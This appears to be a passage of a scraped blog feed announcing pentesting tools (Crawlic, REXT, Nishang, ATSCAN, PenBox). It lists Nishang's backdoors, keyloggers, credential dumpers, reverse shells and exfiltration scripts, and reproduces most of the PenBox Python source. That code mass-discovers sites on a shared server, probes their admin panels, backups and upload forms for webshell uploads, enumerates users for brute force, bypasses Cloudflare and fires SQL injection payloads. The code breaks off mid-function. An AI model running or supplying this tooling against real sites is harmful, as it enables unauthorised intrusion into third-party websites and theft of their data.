Source : https://github.com/AlisamTechnology

↧

Crawlic is a web reconnaissance tool.

December 21, 2015, 10:01 am

≫ Next: Updates REXT v0.0 – Router Exploitation Toolkit.

≪ Previous: ATSCAN-v3.1 – perl script for vulnerable Server, Site and dork scanner.

Crawlic is a Web recon tool (find temporary files, parse robots.txt, search folders, google dorks and search domains hosted on same server)
Automatic GIT/SVN clone (using dvcs-ripper) if .git or .svn folder if found.
Latest change 21/12/2015 : crawlic.py Fix path errors

Crawlic Helper

Requirements :
+ Python 2.7.x
+ git/svn ripper needs LWP.pm library (Original dvcs ripper: https://github.com/kost/dvcs-ripper)
+ pholcidae library

Configuration :
– Change user-agent : Edit user_agent.lst, one user agent per line
– Change folders to find : Edit folders.lst, one directory per line
– Change files to scan : Edit extensions.lst, one file extension per line
– Change dorks list : Edit dorks.lst, one dork per line
– Change google dorks list : Edit google_dorks, one dork per line, use %s as target url

Installation:

git clone https://github.com/Ganapati/Crawlic
cd Crawlic
pip install pholcidae
./crawlic.py -h (for helper)

Source: https://github.com/Ganapati

↧

Updates REXT v0.0 – Router Exploitation Toolkit.

December 23, 2015, 2:18 pm

≫ Next: Nishang v-0.6.2 – PowerShell for penetration testing and offensive security.

≪ Previous: Crawlic is a web reconnaissance tool.

Latest Changelog 23/12/2015:
– requirements.txt : requests==2.9.1 from requests==2.5.1
– Added default host value to Exploit.py
– exploit module: Dlink DIR-300 and DIR-600 exec noauth.

Router Exploitation Toolkit – REXT is a Small toolkit for easy creation and usage of various python scripts that work with embedded devices.

Router EXploitation Toolkit – small toolkit for easy creation and usage of various python scripts that work with embedded devices.

– core – contains most of toolkits basic functions
– databases – contains databases, like default credentials etc.
– interface – contains code that is being used for the creation and manipulation with interface
– modules – contains structure of modules, that can be loaded, every module contains vendor specific sub-modules where scripts are stored.
– decryptors
– exploits
– harvesters
– misc
– scanners
– output – output goes here
This is still heavy work-in progress

Requirements:
+ Python 3, request v2.9.1

Installation and Usage:

git clone https://github.com/j91321/rext
cd <your clone folder>
pip3 install -r requirements.txt
python3 rext.py

Update : update or
cd rext
git pull
pip3 install -r requirements.txt
and run again 
python3 rext.py

Download : rext-master.zip(46KB) | Clone Url
Source : https://github.com/j91321 | Our Post Before

↧

Nishang v-0.6.2 – PowerShell for penetration testing and offensive security.

January 1, 2016, 6:15 am

≫ Next: Updates ATSCAN – perl script for vulnerable Server, Site and dork scanner.

≪ Previous: Updates REXT v0.0 – Router Exploitation Toolkit.

Changelog v0.6.2:
+ Added support for dumping cleartext credentials from RDP sessions for Invoke-MimikatzWfigestDowngrade.
– fix issues #29.DESCRIPTION
This script uses MJPEG to stream a target’s desktop in real time. It is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.
A netcat listener which relays connection to a local port could be used as listener. A browser which supports MJPEG (Firefox) should then be pointed to the local port to see the remote desktop.

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and penetration testing. Nishang is useful during various phases of a penetration test and is most powerful for post exploitation usage.

Nishang v-0.6.0 released: PowerShell for penetration testing and offensive security.

Nishang v-0.6.2 released: PowerShell for penetration testing and offensive security.

Scripts; Nishang currently contains the following scripts and payloads.
+ Antak – the Webshell
– Antak :Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell

+ Backdoors
– HTTP-Backdoor : A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
– DNS_TXT_Pwnage : A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
– Execute-OnTime : A backdoor which can execute PowerShell scripts at a given time on a target.
– Gupt-Backdoor : A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
– Add-ScrnSaveBackdoor : A backdoor which can use Windows screen saver for remote command and script execution.
– Invoke-ADSBackdoor : A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

+ Client
– Out-CHM : Create infected CHM files which can execute PowerShell commands and scripts.
– Out-Word : Create Word files and infect existing ones to run PowerShell commands and scripts.
– Out-Excel : Create Excel files and infect existing ones to run PowerShell commands and scripts.
– Out-HTA : Create a HTA file which can be deployed on a web server and used in phishing campaigns.
– Out-Java : Create signed JAR files which can be used with applets for script and command execution.
– Out-Shortcut : Create shortcut files capable of executing commands and scripts.
– Out-WebQuery : Create IQY files for phishing credentials and SMB hashes.

+ Escalation
– Enable-DuplicateToken : When SYSTEM privileges are required.
– Remove-Update : Introduce vulnerabilities by removing patches.

+ Execution
– Download-Execute-PS : Download and execute a PowerShell script in memory.
– Download_Execute : Download an executable in text format, convert it to an executable, and execute.
– Execute-Command-MSSQL : Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
– Execute-DNSTXT-Code : Execute shellcode in memory using DNS TXT queries.

+ Gather
– Check-VM : Check for a virtual machine.
– Copy-VSS : Copy the SAM file using Volume Shadow Copy Service.
– Invoke-CredentialsPhish : Trick a user into giving credentials in plain text.
– FireBuster FireListener: A pair of scripts for egress testing
– Get-Information : Get juicy information from a target.
– Get-LSASecret : Get LSA Secret from a target.
– Get-PassHashes : Get password hashes from a target.
– Get-WLAN-Keys: Get WLAN keys in plain text from a target.

+ Keylogger
Log keystrokes from a target.
– Invoke-MimikatzWdigestDowngrade: Dump user passwords in plain on Windows 8.1 and Server 2012
– Get-PassHints : Get password hints of Windows users from a target.

+ Pivot
– reate-MultipleSessions : Check credentials on multiple computers and create PSSessions.
– Run-EXEonRemote Copy and execute an executable on multiple machines.
– Invoke-NetworkRelay Create network relays between computers.

+ Prasadhak
– Prasadhak : Check running hashes of running process against the VirusTotal database.

+ Scan
– Brute-Force : Brute force FTP, Active Directory, MSSQL, and Sharepoint.
– Port-Scan : A handy port scanner

+ Powerpreter
Powerpreter : All the functionality of nishang in a single script module.

+ Shells :
– Invoke-PsGcat: Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
– Invoke-PsGcatAgent: Execute commands and scripts sent by Invoke-PsGcat.
– Invoke-PowerShellTcp: An interactive PowerShell reverse connect or bind shell
– Invoke-PowerShellTcpOneLine : Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
– Invoke-PowerShellUdp : An interactive PowerShell reverse connect or bind shell over UDP
– Invoke-PowerShellUdpOneLine : Stripped down version of Invoke-PowerShellUdp.
– Invoke-PoshRatHttps : Reverse interactive PowerShell over HTTPS.
– Invoke-PoshRatHttp : Reverse interactive PowerShell over HTTP.
– Remove-PoshRat : Clean the system after using Invoke-PoshRatHttps
– Invoke-PowerShellWmi : Interactive PowerShell using WMI.
– Invoke-PowerShellIcmp : An interactive PowerShell reverse shell over ICMP.

+ Utility:
– Add-Exfiltration: Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
– Add-Persistence: Add reboot persistence capability to a script.
– Remove-Persistence: Remote persistence added by the Add-Persistence script.
– Do-Exfiltration: Pipe (|) this to any script to exfiltrate the output.
– Download: Transfer a file to the target.
– Parse_Keys : Parse keys logged by the keylogger.
– Invoke-Encode : Encode and compress a script or string.
– Invoke-Decode : Decode and decompress a script or string from Invoke-Encode.
– Start-CaptureServer : Run a web server which logs Basic authentication and SMB hashes.
— [Base64ToString] [StringToBase64] [ExetoText] [TexttoExe]

Download : Nishang.zip(951 KB) | Our Post Before
Source : http://www.labofapenetrationtester.com/

↧

Updates ATSCAN – perl script for vulnerable Server, Site and dork scanner.

January 1, 2016, 6:27 am

≫ Next: PenBox v1.1 ~ Pentesting tools auto downloader Script.

≪ Previous: Nishang v-0.6.2 – PowerShell for penetration testing and offensive security.

whats new in 2016:
+ header changes.
+ Perl version
+ Script path
+ OS/Platform Version Print
+ and more usability..

ATSCAN is a perl script with function Dork scanner. XSS scanner. LFI scanner. Filter wordpress and Joomla sites in the server. Find Admin page. Decode / Encode MD5 + Base64.

Principal MENU:
1 = DORK SCANNER
2 = SITE SCANNER
3 = SERVER SCANNER
4 = MD5 / BASE 64
5 = ABOUT
6 = EXIT (->)

How to Usage:

git clone https://github.com/AlisamTechnology/ATSCAN
cd ATSCAN
perl atscan.pl

Update:
cd ATSCAN
git pull

Source : https://github.com/AlisamTechnology | Our Post Before

↧

PenBox v1.1 ~ Pentesting tools auto downloader Script.

January 5, 2016, 12:44 pm

≫ Next: V3n0m v4.0.1 – A tool to automate mass SQLi d0rk scanner.

≪ Previous: Updates ATSCAN – perl script for vulnerable Server, Site and dork scanner.

Penbox ~ Pentesting tools auto downloader Script.
Requirements : python2.7

Changelog v1.1:
+ Privat Tool:
1) Get all websites
2) Get joomla websites
3) Get wordpress websites
4) Find control panel
5) Find zip files
6) Find upload files
7) Get server users
8) Scan from SQL injection
9) Crawl and scan from SQL injection
10) Scan ports (range of ports)
11) Scan ports (common ports)
12) Get server banner
13) Bypass Cloudflare
+ Drupal Hacking
1: Drupal Bing Exploiter
2: Get Drupal Websites
3: Drupal Mass Exploiter

Operating System Support Menu:
1) Max OSX
2) Linux
3) Windows

Main Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
6 : Privat Tool
7 : Drupal Hacking

Usage:

git clone https://github.com/x3omdax/PenBox && cd PenBox
cd Versions/V1.1
python penbox.py

penbox.py Script:

#!/usr/bin/env python2.7
#
#          All In One Tool For Penetration Testing 
#           Authors : Fedy Wesleti , Mohamed Nour 
#
import sys
import os
import httplib
import subprocess
import re, urllib2
import socket
import urllib,sys,json
from commands import *
from platform import system
from urlparse import urlparse
########################## 
#Variables
yes = set(['yes','y', 'ye', 'Y'])
no = set(['no','n'])
def logo():
    print """
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.1  
                                  Pentesting Tools Auto-Downloader 
 
  [+]       Coded BY Mohamed Nour & Fedy Weslety        [+] 
  [+]          FB/CEH.TN    ~~   FB/mohamed.zeus.0      [+] 
  [+]             Greetz To All Pentesters              [+] 
"""
##########################
#this is the big menu funtion 
def menu():
    print ("""
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.1  
                                  Pentesting Tools Auto-Downloader 
 
  [+]       Coded BY Mohamed Nour & Fedy Weslety        [+] 
  [+]          FB/CEH.TN    ~~   FB/mohamed.zeus.0      [+] 
  [+]             Greetz To All Pentesters              [+] 
    Select from the menu:
    1 : Information Gathering
    2 : Password Attacks
    3 : Wireless Testing
    4 : Exploitation Tools
    5 : Sniffing & Spoofing
    6 : Privat Tools
    7 : Drupal Hacking
    99 : Exit
    """)
    choice = raw_input("Enter Your Choice:")
    
    if choice == "1":
        info()
    elif choice == "2":
        passwd()
    elif choice == "3":
        wire()
    elif choice == "4":
        exp()
    elif choice == "5":
        snif()
    elif choice == "6":
        tnn()
    elif choice == "7":
        maine()
    elif choice == "99":
        os.system('clear'),sys.exit();
    elif choice == "":
        menu()
    else: 
        menu()
##########################
#Host 2 ip
def h2ip():
    host = raw_input("Select A Host : ")
    ips = socket.gethostbyname(host)
    print(ips)
##########################
#ports
def ports():
    os.system("clear")
    target = raw_input('Select a Target IP :')
    os.system("nmap -O -Pn %s" % target) 
    sys.exit();
##########################
#inurlbr
def ifinurl():
    print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
    print('do you have Inurlbr installed ? ')
    cinurl = raw_input("Y / N : ")
    if cinurl in yes:
        inurl()
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
####################################
def inurl():
    dork = raw_input("select a Dork:")
    output = raw_input("select a file to save :")
    os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
####################################
def insinurl():
    os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
    os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
    os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
    os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
    os.system("clear")
    inurl()
####################################
#nmap function 
def nmap():

    choice7 = raw_input("continue ? Y / N : ")
    if choice7 in yes :
        os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
        os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
        os.system("cd nmap-7.01 & ./configure")
        os.system("cd nmap-7.01 & make")
        os.system("su root")
        os.system("cd nmap-7.01 & make install")
    elif choice7 in no :
        info()
    elif choice7 == "":
        menu()
    else: 
        menu()
####################################
#jboss-autopwn
def jboss():
    os.system('clear')
    print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
    print ("deployed, the script uses its upload and command execution capability to")
    print ("provide an interactive session.")
    print ("")
    print ("usage : ./e.sh target_ip tcp_port ")
    print("Continue: y/n")
    choice9 = raw_input("yes / no :")
    if choice9 in yes:
        os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
    elif choice9 in no:
        os.system('clear'); exp()
    elif choice9 == "":
        menu()
    else: 
        menu()
####################################
#sqlmap 
def sqlmap():
    print ("usage : python sqlmap.py -h")
    choice8 = raw_input("Continue: y/n :")
    if choice8 in yes:
        os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
    elif choice8 in no:
        os.system('clear'); info()
    elif choice8 == "":
        menu()
    else: 
        menu()
####################################
#setoolkit 
def setoolkit():
    print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
    print(") designed for social engineering. SET has a number of custom attack vectors that ")
    print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC  ")
    print("an information security consulting firm located in Cleveland, Ohio.")
    print("")
    choiceset = raw_input("y / n :")
    if choiceset in yes:
        os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
        os.system("python social-engineer-toolkit/setup.py")
    if choiceset in no:
        os.system("clear"); info()
    elif choiceset == "":
        menu()
    else: 
        menu()
####################################
#cupp 
def cupp():
    print("cupp is a password list generator ")
    print("Usage: python cupp.py -h")
    choicecupp = raw_input("Continue: y/n : ")
    
    if choicecupp in yes:
        os.system("git clone https://github.com/Mebus/cupp.git")
        print("file downloaded successfully")
    elif choicecupp in no:
        os.system("clear"); passwd()
    elif choicecupp == "":
        menu()
    else: 
        menu()
####################################
#ncrack 
def ncrack():
    print("A Ruby interface to Ncrack, Network authentication cracking tool.")
    print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
    print("Continue: y/n")
    choicencrack = raw_input("y / n :")
    if choicencrack in yes:
        os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
        os.system("cd ruby-ncrack")
        os.system("install ruby-ncrack")
    elif choicencrack in no:
        os.system("clear"); passwd()
    elif choicencrack == "":
        menu()
    else: 
        menu()
####################################
#reaver
def reaver():
    print """
      Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
      WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
      wide variety of access points and WPS implementations
      1 to accept / 0 to decline
        """
    creaver = raw_input("y / n :")
    if creaver in yes:
        os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
        os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
        os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
        os.system("cd reaver-wps-fork-t6x/src/ & make")
    elif creaver in no:
        os.system("clear"); wire()
    elif creaver == "":
        menu()
    else: 
        menu()
####################################
#sslstrip
def ssls():
    print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 
    attacks.
    It requires Python 2.5 or newer, along with the 'twisted' python module."""
    cssl = raw_input("y / n :")
    if cssl in yes: 
        os.system("git clone https://github.com/moxie0/sslstrip.git")
        os.system("sudo apt-get install python-twisted-web")
        os.system("python sslstrip/setup.py")
    if cssl in no:
        snif()
    elif cssl =="":
        menu()
    else:
        menu()
####################################
#shellnoob
def shellnoob():
    print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
    cshell = raw_input("Y / N : ")
    if cshell in yes:
        os.system("git clone https://github.com/reyammer/shellnoob.git")
        os.system("mv shellnoob/shellnoob.py shellnoob.py")
        os.system("sudo python shellnoob.py --install")
    if cshell in no:
        exp()
    elif cshell =="":
        menu()
    else:
        menu()
#####################################
#information gathering function
def info():
    print("1: nmap ")
    print("2: Setoolkit")
    print("3: Port Scanning")
    print("4: Host To IP")
    print("99: Back To Main Menu")
    choice2 = raw_input("Select from the menu:")
    if choice2 == "1":
        os.system('clear'); nmap()
    if choice2 == "2":
        os.system("clear"); setoolkit()
    if choice2 == "3":
        os.system("clear"); ports()
    if choice2 == "4":
        os.system("clear"); h2ip()
    elif choice2 =="99":
        os.system("clear"); menu()
    elif choice2 == "":
        menu()
    else: 
        menu()
##########################
def priv8():
    tnn()
#password attacks menu 
def passwd():
    print("1:  cupp ")
    print("2:  Ncrack")
    print("99: Back To Main Menu")
    choice3 = raw_input("Select from the menu:")
    if choice3 =="1":
     os.system("clear"); cupp()
    elif choice3 =="2":
        os.system("clear"); ncrack()
    elif choice3 =="99":
        os.system("clear"); menu()
    elif choice3 == "":
        menu()
    else: 
        menu()
##########################
#wireless attacks
def wire():
    print("1:  reaver ")
    print("99: Back To The Main Menu")
    choice4 = raw_input("Select from the menu:")
    if choice4 =="1":
     os.system("clear");reaver()
    elif choice4 =="99":
        menu()
    elif choice4 == "":
        menu()
    else: 
        menu()
##########################
#exploitation tools
def exp():
    print("1 : jboss-autopwn ")
    print("2 : sqlmap")
    print("3 : Shellnoob")
    print("4 : Inurlbr")
    print("99 : Go Back To Main Menu")
    choice5 = raw_input("Select from the menu:")
    if choice5 =="2":
        os.system("clear"); sqlmap()
    if choice5 =="1":
     os.system('clear'); jboss()
    if choice5 =="3":
        os.system("clear"); shellnoob()
    if choice5 == "4":
        os.system("clear"); ifinurl()
    elif choice5 =="99":
        menu()
    elif choice5 == "":
        menu()
    else: 
        menu()
###########################
#sniffing tools
def snif():
    print("1 : Setoolkit ")
    print("2 : Ssltrip")
    print("99: Back To Main Menu")
    choice6 = raw_input("Select from the menu:")
    if choice6 =="1":
     os.system("clear"); setoolkit()
    if choice6 =="2":
        os.system("clear"); ssls()
    if choice6 =="99":
       os.system("clear"); menu()
    elif choice6 == "":
        menu()
    else: 
        menu()
##########################
#if Os is Windows 
def win():
    os.system("clear")
    print("Our Tool Does Not Support Windows , run it on linux or install a virtual machine ")
    sys.exit();
  #Check use OS
##########################
def OS():
    print(
    """
    Choose Operating System : 
    1) Mac OSX
    2) Linux
    3) Windows
    """)
    system = raw_input("choose an OS : ")
    if system =="2":
        menu()
    elif system =="1":
        root()
    elif system =="3":
        win()
    elif system == "":
        OS()
    else:
        sys.exit();
############################
#check root if linux 
def root():
    if os.getuid() != 0:
        print("Are you root? Please execute as root")
        exit() 
    else:
        menu()
#############################
#priv8 menu 
menuu = """
 1) Get all websites
 2) Get joomla websites
 3) Get wordpress websites
 4) Find control panel
 5) Find zip files
 6) Find upload files
 7) Get server users
 8) Scan from SQL injection
 9) Crawl and scan from SQL injection
 10) Scan ports (range of ports)
 11) Scan ports (common ports)
 12) Get server banner
 13) Bypass Cloudflare
 99) Exit
"""
#############################
#grab function 
def unique(seq):
    """
    get unique from list found it on stackoverflow
    """
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
############################
#clear screen function 
def clearScr() :
    """
    clear the screen in case of GNU/Linux or 
    windows 
    """
    if system() == 'Linux':
        os.system('clear')
    if system() == 'Windows':
        os.system('cls')
############################
class TNscan : #TNscan Function menu 
    def __init__(self, serverip) :
        self.serverip = serverip
        self.getSites(False)
        print menuu
        while True :
            choice = raw_input(' Enter choice -> ')
            if choice == '1' :
                self.getSites(True)
            elif choice == '2' :
                self.getJoomla()
            elif choice == '3' :
                self.getWordpress()
            elif choice == '4' :
                self.findPanels()
            elif choice == '5' :
                self.findZip()
            elif choice == '6' :
                self.findUp()
            elif choice == '7' :
                self.getUsers()
            elif choice == '8' :
                self.grabSqli()
            elif choice == '9' :
                nbpages = int(raw_input(' Enter number of pages to crawl (ex : 100) -> '))
                self.crawlSqli(nbpages)
            elif choice == '10' :
                ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
                self.portScanner(1, ran)
            elif choice == '11' :
                self.portScanner(2, None)
            elif choice == '12' :
                self.getServerBanner()
            elif choice == '13' :
                self.cloudflareBypasser()
            elif choice == '99' :
                print ' Goodbye'
                exit()
            con = raw_input(' Continue [Y/n] -> ')
            if con[0].upper() == 'N' :
                exit()
            else :
                clearScr()
                print menuu
############################       
#get websites from server
    def getSites(self, a) :
        """
        get all websites on same server
        from bing search
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    allnoclean = findwebs[i]
                    findall1 = re.findall('http://(.*?)/', allnoclean)
                    for idx, item in enumerate(findall1):
                        if 'www' not in item:
                            findall1[idx] = 'http://www.' + item + '/'
                        else:
                            findall1[idx] = 'http://' + item + '/'
                    lista.extend(findall1)
                    
                page += 50
            except urllib2.URLError:
                pass
        self.sites = unique(lista)
        if a :      
            clearScr()
            print '[*] Found ', len(lista), ' Website\n'
            for site in self.sites :
                print site 
############################
#get wordpress websites 
    def getWordpress(self) :
        """
        get wordpress site using a dork the attacker
        may do a password list attack (i did a tool for that purpose check my pastebin) 
        or scan for common vulnerabilities using wpscan for example (i did a simple tool 
        for multi scanning using wpscan)
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    wpnoclean = findwebs[i]
                    findwp = re.findall('(.*?)\?page_id=', wpnoclean)
                    lista.extend(findwp)
                page += 50
            except:
                pass
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Wordpress Website\n'
        for site in lista :
            print site
############################
#get joomla websites
    def getJoomla(self) :
        """
        get all joomla websites using 
        bing search the attacker may bruteforce
        or scan them 
        """
        lista = []
        page = 1
        while page <= 101:
            bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                jmnoclean = findwebs[i]
                findjm = re.findall('(.*?)index.php', jmnoclean)
                lista.extend(findjm)
            page += 50
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Joomla Website\n'
        for site in lista :
            print site
############################
#find admin panels
    def findPanels(self) :
        """
        find panels from grabbed websites
        the attacker may do a lot of vulnerabilty 
        tests on the admin area
        """
        print "[~] Finding admin panels"
        adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
        clearScr()
        for site in self.sites :
            for admin in adminList :
                try :
                    if urllib.urlopen(site + admin).getcode() == 200 :
                        print " [*] Found admin panel -> ", site + admin
                except IOError :
                    pass
 ############################         
 #find ZIP files          
    def findZip(self) :
        """
        find zip files from grabbed websites
        it may contain useful informations
        """
        zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
        clearScr()
        print "[~] Finding zip file"
        for site in self.sites :
            for zip1 in zipList :
                try:
                    if urllib.urlopen(site + zip1).getcode() == 200 :
                        print " [*] Found zip file -> ", site + zip1
                except IOError :
                    pass
 ############################  
 #find upload directories     
    def findUp(self) :
        """
        find upload forms from grabbed 
        websites the attacker may succeed to 
        upload malicious files like webshells
        """
        upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
        clearScr()
        print "[~] Finding Upload"
        for site in self.sites :
            for up in upList :
                try :   
                    if (urllib.urlopen(site + up).getcode() == 200) :
                        html = urllib.urlopen(site + up).readlines()
                        for line in html :
                            if re.findall('type=file', line) :
                                print " [*] Found upload -> ", site+up
                except IOError :
                    pass
 ############################ 
#find users                  
    def getUsers(self) :
        """
        get server users using a method found by 
        iranian hackers i think, the attacker may
        do a bruteforce attack on CPanel, ssh, ftp or 
        even mysql if it supports remote login
        (you can use medusa or hydra)
        """
        clearScr()
        print "[~] Grabbing Users"
        userslist = []
        for site1 in self.sites :
            try:
                site = site1
                site = site.replace('http://www.', '')
                site = site.replace('http://', '')
                site = site.replace('.', '')
                if '-' in site:
                    site = site.replace('-', '')
                site = site.replace('/', '')
                while len(site) > 2:
                    resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
                    if 'invalid username' not in resp.lower():
                        print '\t [*] Found -> ', site
                        userslist.append(site)
                        break
                    else :
                        print site
                        
                    site = site[:-1]
            except:
                pass
                    
        clearScr()
        for user in userslist :
            print user
############################        
#bypass cloudflare   
    def cloudflareBypasser(self) :
        """
        trys to bypass cloudflare i already wrote
        in my blog how it works, i learned this 
        method from a guy in madleets
        """
        clearScr()
        print "[~] Bypassing cloudflare"
        subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
        for site in self.sites :
            site.replace('http://', '')
            site.replace('/', '')           
            try:
                ip = socket.gethostbyname(site)
            except socket.error:
                pass
            for sub in subdoms:
                doo = sub + '.' + site
                print ' [~] Trying -> ', doo
                try:
                    ddd = socket.gethostbyname(doo)
                    if ddd != ip:
                        print ' [*] Cloudflare bypassed -> ', ddd
                        break
                except socket.error :
                    pass
############################   
#find the server banner                 
    def getServerBanner(self) :
        """
        simply gets the server banner 
        the attacker may benefit from it 
        like getting the server side software
        """
        clearScr()
        try:
            s = 'http://' + self.serverip
            httpresponse = urllib.urlopen(s)
            print ' [*] Server header -> ', httpresponse.headers.getheader('server')
        except:
            pass
############################    
#greb the sqli         
    def grabSqli(self) :
        """
        just grabs all websites in server with php?id= dork 
        for scanning for error based sql injection
        """
        page = 1
        lista = []
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    x = findwebs[i]
                    lista.append(x)
            except:
                pass            
            page += 50  
        lista = unique(lista)       
        self.checkSqli(lista)
 ############################      
 #scan for sql injection  
    def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog 
        """
        clearScr()
        print "[~] Checking SQL injection"
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass
 ############################   
 #craw SQL 
    def crawlSqli(self, nbpages) :
        """
        simple crawling using chilkat (yeah chilkat sucks)
        and scan for error based sql injection
        [!] will be on the next version
        """
        import chilkat
        spider = chilkat.CkSpider()
        for url in self.sites :
            spidred = []
            print " [~] Crawling -> ", url
            spider.Initialize(url)
            #spider.unspideredUrl(url)
            i = 0
            for i in range(nbpages) :
                if spider.CrawlNext() :
